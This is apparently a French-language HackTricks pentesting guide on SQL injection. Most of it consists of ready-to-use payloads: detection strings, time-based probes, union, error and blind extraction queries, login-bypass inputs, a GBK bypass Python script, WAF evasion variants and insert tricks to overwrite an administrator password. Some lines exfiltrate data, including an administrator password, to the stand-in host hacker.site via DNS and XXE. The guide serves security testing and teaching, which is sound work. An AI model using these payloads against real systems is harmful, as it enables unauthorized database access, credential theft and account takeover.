SQL Injection

{{#include ../../banners/hacktricks-training.md}}

Qu'est-ce que SQL injection ?

Une SQL injection est une faille de sécurité qui permet à un attaquant d'interférer avec les requêtes de base de données d'une application. Cette vulnérabilité peut permettre à un attaquant de consulter, modifier ou supprimer des données auxquelles il ne devrait pas avoir accès, y compris des informations d'autres utilisateurs ou toute donnée accessible par l'application. De telles actions peuvent entraîner des modifications permanentes du fonctionnement ou du contenu de l'application, voire la compromission du serveur ou un déni de service.

Détection du point d'entrée

Lorsqu'un site semble être vulnérable à SQL injection (SQLi) en raison de réponses inhabituelles du serveur à des entrées liées à SQLi, la première étape est de comprendre comment injecter des données dans la requête sans la perturber. Cela nécessite d'identifier la méthode permettant de s'échapper du contexte actuel efficacement. Voici quelques exemples utiles :

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Ensuite, vous devez savoir comment corriger la requête pour qu'il n'y ait pas d'erreurs. Pour corriger la requête, vous pouvez saisir des données afin que la requête précédente accepte les nouvelles données, ou vous pouvez simplement saisir vos données et ajouter un symbole de commentaire à la fin.

Notez que si vous pouvez voir les messages d'erreur ou repérer les différences entre une requête qui fonctionne et une qui ne fonctionne pas, cette phase sera plus facile.

Commentaires

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmation avec des opérations logiques

Une méthode fiable pour confirmer une vulnérabilité SQL injection consiste à exécuter une opération logique et à observer les résultats attendus. Par exemple, un paramètre GET tel que ?username=Peter renvoyant un contenu identique lorsqu'il est modifié en ?username=Peter' or '1'='1 indique une vulnérabilité SQL injection.

De même, l'application d'opérations mathématiques constitue une technique de confirmation efficace. Par exemple, si l'accès à ?id=1 et ?id=2-1 produit le même résultat, cela indique une SQL injection.

Exemples démontrant la confirmation par opérations logiques :

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Cette liste de mots a été créée pour tenter de confirmer SQLinjections de la manière proposée :

Vraie SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Confirmation par temporisation

Dans certains cas, vous ne remarquerez aucun changement sur la page que vous testez. Par conséquent, un bon moyen de discover blind SQL injections est de faire exécuter des actions par la DB qui auront un impact sur le temps de chargement de la page.
Nous allons donc concat dans la requête SQL une opération qui prendra beaucoup de temps à s'exécuter :

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Dans certains cas les sleep functions ne seront pas autorisées. Alors, au lieu d'utiliser ces fonctions vous pouvez faire en sorte que la requête exécute des opérations complexes qui prendront plusieurs secondes. Des exemples de ces techniques seront commentés séparément pour chaque technologie (si applicable).

Identifier le back-end

La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pouvez utiliser les sleep functions de la section précédente ou celles-ci (tableau depuis payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

De plus, si vous avez accès au résultat de la requête, vous pouvez la faire afficher la version de la base de données.

Tip

Dans la suite, nous allons aborder différentes méthodes pour exploiter différents types de SQL Injection. Nous utiliserons MySQL comme exemple.

Identification avec PortSwigger

{{#ref}} https://portswigger.net/web-security/sql-injection/cheat-sheet {{#endref}}

Exploitation Union Based

Détection du nombre de colonnes

Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.
Tout d'abord, nous devons déterminer le nombre de colonnes renvoyées par la requête initiale. En effet, les deux requêtes doivent renvoyer le même nombre de colonnes.
Deux méthodes sont généralement utilisées à cet effet :

Order/Group by

Pour déterminer le nombre de colonnes d'une requête, augmentez progressivement la valeur utilisée dans les clauses ORDER BY ou GROUP BY jusqu'à obtenir une réponse erronée. Bien que GROUP BY et ORDER BY aient des fonctionnalités distinctes en SQL, les deux peuvent être utilisés de la même manière pour déterminer le nombre de colonnes renvoyées par la requête.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Sélectionnez de plus en plus de valeurs null jusqu'à ce que la requête soit correcte :

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Vous devriez utiliser les valeurs null car dans certains cas le type des colonnes des deux côtés de la requête doit être le même et null est valide dans tous les cas.

Extraire les noms de bases de données, les noms de tables et les noms de colonnes

Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom des tables d'une base de données, les noms des colonnes d'une table :

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Il existe une façon différente de découvrir ces données pour chaque base de données, mais la méthodologie reste toujours la même.

Exploitation des Hidden Union Based

Lorsque la sortie d'une requête est visible, mais qu'une union-based injection semble irréalisable, cela signifie la présence d'une hidden union-based injection. Ce scénario conduit souvent à une situation de blind injection. Pour transformer une blind injection en une union-based, il faut déterminer la requête d'exécution côté backend.

Cela peut être accompli en utilisant des techniques de blind injection ainsi que les tables par défaut spécifiques à votre DBMS. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du DBMS cible.

Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête d'origine. Ensuite, une union query est ajoutée à votre payload, facilitant l'exploitation de la union-based injection nouvellement accessible.

Pour des informations plus complètes, référez-vous à l'article complet disponible sur Healing Blind Injections.

Exploitation Error based

Si pour une raison quelconque vous ne pouvez pas voir la sortie de la requête mais que vous pouvez voir les messages d'erreur, vous pouvez utiliser ces messages d'erreur pour ex-filtrate des données depuis la base de données.
En suivant un flux similaire à l'exploitation Union Based, vous pourriez parvenir à dumper le DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploitation de Blind SQLi

Dans ce cas vous ne pouvez pas voir les résultats de la requête ni les erreurs, mais vous pouvez déterminer quand la requête retourne une réponse true ou false parce que le contenu de la page est différent.
Dans ce cas, vous pouvez abuser de ce comportement pour dump la base de données caractère par caractère:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Ceci est le même cas que précédemment, mais au lieu de distinguer une réponse vrai/faux de la requête, vous pouvez distinguer une erreur dans la requête SQL ou non (peutêtre parce que le serveur HTTP plante). Par conséquent, dans ce cas vous pouvez provoquer une SQLerror chaque fois que vous devinez correctement le caractère :

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiter Time Based SQLi

Dans ce cas, il n'existe aucune façon de différencier la réponse de la requête selon le contexte de la page. Cependant, vous pouvez faire en sorte que la page mette plus de temps à se charger si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant pour confirm a SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Vous pouvez utiliser stacked queries pour exécuter plusieurs requêtes successivement. Notez que même si les requêtes suivantes sont exécutées, les résultats ne sont pas renvoyés à l'application. Ainsi, cette technique est principalement utile pour les blind vulnerabilities, où vous pouvez utiliser une seconde requête pour déclencher un DNS lookup, une erreur conditionnelle ou une temporisation.

Oracle ne prend pas en charge les stacked queries. MySQL, Microsoft et PostgreSQL les prennent en charge : QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Si aucune autre méthode d'exploitation n'a fonctionné, vous pouvez tenter de faire en sorte que la database ex-filtrate les informations vers un hôte externe contrôlé par vous. Par exemple, via des requêtes DNS :

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltration de données hors bande via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploitation automatisée

Consultez la SQLMap Cheatsheet pour exploiter une vulnérabilité SQLi avec sqlmap.

Infos spécifiques par technologie

Nous avons déjà abordé toutes les manières d'exploiter une vulnérabilité SQL Injection. Trouvez d'autres astuces spécifiques à la technologie de base de données dans ce livre :

Ou vous trouverez également beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Liste à essayer pour bypasser la fonctionnalité de login :

{{#ref}} ../login-bypass/sql-login-bypass.md {{#endref}}

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à SQL injection. Les attaquants peuvent exploiter cela en fabriquant des entrées qui, une fois hachées, produisent des parties de commande SQL inattendues, entraînant un accès non autorisé.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Liste recommandée:

Vous devez utiliser comme username chaque ligne de la liste et comme password toujours : Pass1234.
(Ces payloads sont aussi inclus dans la grande liste mentionnée au début de cette section)

{{#file}} sqli-hashbypass.txt {{#endfile}}

GBK Authentication Bypass

Si ' est échappé vous pouvez utiliser %A8%27, et lorsque ' est échappé il sera créé : 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Script Python :

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modifier le mot de passe d'un objet/utilisateur existant

Pour ce faire, vous devriez essayer de créer un nouvel objet nommé comme le "master object" (probablement admin dans le cas des utilisateurs) en modifiant quelque chose :

  • Créez un utilisateur nommé : AdMIn (lettres majuscules et minuscules)
  • Créez un utilisateur nommé : admin=
  • SQL Truncation Attack (lorsqu'il y a une sorte de limite de longueur dans le nom d'utilisateur ou l'email) --> Créez un utilisateur avec le nom : admin [a lot of spaces] a

SQL Truncation Attack

Si la base de données est vulnérable et que le nombre maximal de caractères pour le nom d'utilisateur est, par exemple, 30 et que vous voulez usurper l'utilisateur admin, essayez de créer un nom d'utilisateur appelé : "admin [30 spaces] a" et n'importe quel mot de passe.

La base de données va vérifier si le nom d'utilisateur introduit existe dans la base. Si non, elle va couper le nom d'utilisateur à la longueur maximale autorisée (dans ce cas à : "admin [25 spaces]") puis elle va supprimer automatiquement tous les espaces à la fin en mettant à jour dans la base de données l'utilisateur "admin" avec le nouveau mot de passe (une erreur peut apparaître mais cela ne signifie pas que cela n'a pas fonctionné).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note : This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Ajoutez autant de ','','' que nécessaire pour sortir de la clause VALUES. Si delay est exécuté, vous avez une SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La clause ON DUPLICATE KEY UPDATE dans MySQL est utilisée pour spécifier les actions que la base de données doit effectuer lorsqu'une tentative d'insertion d'une ligne entraînerait une valeur dupliquée dans un index UNIQUE ou une PRIMARY KEY. L'exemple suivant montre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur :

Exemple d'injection de Payload :

Un payload d'injection pourrait être construit comme suit, où deux lignes sont tentées d'être insérées dans la table users. La première ligne est un leurre, et la deuxième ligne cible l'email d'un administrateur existant dans le but de mettre à jour le mot de passe :

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Voici comment cela fonctionne :

  • La requête tente d'insérer deux lignes : une pour generic_user@example.com et une autre pour admin_generic@example.com.
  • Si la ligne pour admin_generic@example.com existe déjà, la clause ON DUPLICATE KEY UPDATE se déclenche, demandant à MySQL de mettre à jour le champ password de la ligne existante avec "bcrypt_hash_of_newpassword".
  • Par conséquent, l'authentification peut ensuite être tentée en utilisant admin_generic@example.com avec le mot de passe correspondant au hash bcrypt ("bcrypt_hash_of_newpassword" représente le hash bcrypt du nouveau mot de passe, qui doit être remplacé par le hash réel du mot de passe souhaité).

Extraire des informations

Créer 2 comptes en même temps

Lors de la création d'un nouveau user, username, password et email sont nécessaires :

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Utiliser le décimal ou l'hexadécimal

Avec cette technique, vous pouvez extraire des informations en créant un seul compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.

En utilisant hex2dec et substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Pour obtenir le texte, vous pouvez utiliser :

__import__('binascii').unhexlify(hex(215573607263)[2:])

En utilisant hex et replace (et substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection est une situation où la requête injectable n'est pas celle qui donne la sortie mais la sortie de la requête injectable est transmise à la requête qui donne la sortie. (From Paper)

Exemple:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Bypasses initiaux depuis ici

No spaces bypass

No Space (%20) - bypass utilisant des alternatives aux espaces blancs

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - contournement en utilisant des commentaires

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass en utilisant des parenthèses

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses génériques

Blacklist en utilisant des keywords - bypass en utilisant majuscules/minuscules

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist de keywords insensible à la casse — bypass en utilisant un opérateur équivalent

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Vous pouvez trouver une explication plus approfondie de cette astuce dans gosecure blog.
En pratique, vous pouvez utiliser la notation scientifique de façons inattendues pour contourner le WAF :

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Contourner la restriction des noms de colonnes

Tout d'abord, remarquez que si la requête originale et la table d'où vous voulez extraire le flag ont le même nombre de colonnes vous pouvez simplement faire : 0 UNION SELECT * FROM flag

Il est possible d'accéder à la troisième colonne d'une table sans utiliser son nom en utilisant une requête comme la suivante : SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, donc dans une sqlinjection cela ressemblerait à :

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ou en utilisant un comma bypass :

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Cette astuce provient de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Si l'entrée utilisateur est concaténée dans la liste SELECT ou dans les identifiants de table/colonne, les prepared statements n'aideront pas car les bind parameters ne protègent que les values, pas les identifiers. Un pattern vulnérable courant est :

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Idée d'exploitation : injecter une sous-requête dans la position de champ pour exfiltrer des données arbitraires :

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Remarques :

  • Cela fonctionne même lorsque la WHERE clause utilise un bound parameter, car la liste d'identifiants est toujours concaténée en tant que chaîne.
  • Certaines stacks permettent en outre de contrôler le nom de table (tablename injection), autorisant des lectures inter-tables.
  • Les output sinks peuvent refléter la valeur sélectionnée dans HTML/JSON, permettant des XSS ou du token exfiltration directement depuis la réponse.

Mesures d'atténuation :

  • Ne concaténez jamais des identifiants provenant d'entrées utilisateur. Mappez les noms de colonne autorisés vers une allow-list fixe et quotez correctement les identifiants.
  • Si un accès dynamique aux tables est nécessaire, restreignez-le à un ensemble fini et résolvez côté serveur à partir d'un mapping sûr.

WAF bypass suggester tools

{{#ref}} https://github.com/m4ll0k/Atlas {{#endref}}

Autres guides

Brute-Force Detection List

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt {{#endref}}

Références

{{#include ../../banners/hacktricks-training.md}}